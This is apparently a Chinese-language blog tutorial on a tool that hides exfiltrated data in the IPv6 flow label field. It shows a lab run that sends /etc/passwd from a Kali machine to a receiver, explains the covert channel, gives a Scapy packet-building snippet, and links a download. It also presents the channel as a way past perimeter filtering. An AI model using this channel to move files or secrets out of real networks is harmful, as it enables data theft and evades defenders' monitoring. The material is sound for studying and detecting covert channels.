使用 IPV6 流標籤進行隱蔽的數據滲透

IPv6報文新增加了一個流標籤

流標籤技術在IPV6中的用途有:

(1)提高了中間路由器處理包的速度。

(2)提供了QoS需求,並支持實時服務的業務數據流。

但流標籤也存在一些安全問題,如數據滲透,payload後門,Dos等

配置:

虛擬機vmware中開啓IPv6支持


hunt(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036
kali(inet6):  fd15:4ba5:5a2b:1008:20c:29ff:fe70:6427

均需要scapy和cairocffi

pip3 install -r requirements.txt
pip3 install cairocffi

測試過程

kali將自身的/etc/passwd 數據通過該工具傳輸到hunt上

kali操作:

參數解釋:

python3 exfiltrate.py 待傳輸文件 目標機IPv6地址

eg:

python3 exfiltrate.py /etc/passwd fd15:4ba5:5a2b:1008:20c:29ff:fe50:f036

hunt接收操作:

參數解釋:

python3 receive.py 保存的文件名

eg:

python3 receive.py kali-passwd

該地址證實是kali的IPv6地址

查看kali-passwd

接收成功

機制分析

IPv6是英文“Internet Protocol Version 6”(互聯網協議第6版)的縮寫,是互聯網工程任務組(IETF)設計的用於替代IPv4的下一代IP協議,其地址數量號稱可以爲全世界的每一粒沙子編上一個地址 。

IPv6的地址長度爲128位,是IPv4地址長度的4倍 。

IPv6報文內容

IPv6報文的整體結構分爲IPv6報頭擴展報頭上層協議數據3部分。IPv6報頭是必選報文頭部,長度固定爲40B,包含該報文的基本信息;擴展報頭是可選報頭,可能存在0個、1個或多個,IPv6協議通過擴展報頭實現各種豐富的功能;上層協議數據是該IPv6報文攜帶的上層數據,可能是ICMPv6報文、TCP報文、UDP報文或其他可能報文。

IPv6的報文頭部結構如圖:

流標籤 用來標識同一個流裏面的報文

該工具進行隱蔽的數據滲透正是利用了 20比特(12-31)的流標籤

Flow Label(流標籤)是IPv6中新增的頭部結構

作用是:

流標籤可用來標記特定流的報文,以便在網絡層區分不同的報文。轉發路徑上的路由器可以根據流標籤來區分流並進行處理。由於流標籤在IPv6報文頭中攜帶,轉發路由器可以不必根據報文內容來識別不同的流,目的節點也同樣可以根據流標籤識別流,同時由於流標籤在報文頭中,因此使用IPSec後仍然可以根據流標籤進行QoS處理。

所以,

可以將該字段設置爲任意值,而不會影響數據包傳遞到其目標。

因此,我們可以通過在此字段中存儲數據來構建隱蔽信道。

exfiltration腳本每20比特數據發送1個IPv6數據包

receiver腳本通過讀取該字段重建數據


該工具主要作用在於,在企業邊界網絡中,已經阻止了ICMP報文,如果想將數據隱藏在報文的數據字段中進行傳輸,也可能分析IPv6/ICMPv6數據包中的字段,很可能無法對外連接通訊。

但目前來說仍有侷限性

1、速度慢

雖然發送的數據是使用GZIP壓縮的,但速度非常慢。通過網絡發送的每包才包含20比特的數據,無法傳輸大文件。

2、傳輸不加密

如果你要傳輸敏感數據,可以在數據提供給傳輸端之前對數據進行加密。

3、超時不重傳

可以自定義增加exfiltration腳本的packet-sending的值:

默認情況下爲10毫秒,每個新數據包在發送之前會等待10毫秒。

代碼分析

該工具的傳輸端exfiltrate.py 主要是三個函數

重點在第三個函數 send

重要代碼分析

# Build the IPv6 packet to send
ipv6_layer = IPv6(dst=self.destination, fl=payload_int)
raw_layer = Raw(load=self.MAGIC_VALUE + "_" + str(num_bits_to_send) + "_" + str(seq))
pkt = ipv6_layer / raw_layer

每個IPv6數據包發送的payload包含一個魔術值(magic value)以及一個序列號

所以,接收端可以確定哪些IPv6分組與其相關並進行解碼。

總結

該工具可擴展性強,後續可自行開發,不侷限於數據滲透,流標籤還可以用於payload後門,Dos等

工具下載百度雲下載
鏈接:https://pan.baidu.com/s/1OcxeQf2iNkk__X_49BVJ3A
提取碼:v4dj

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章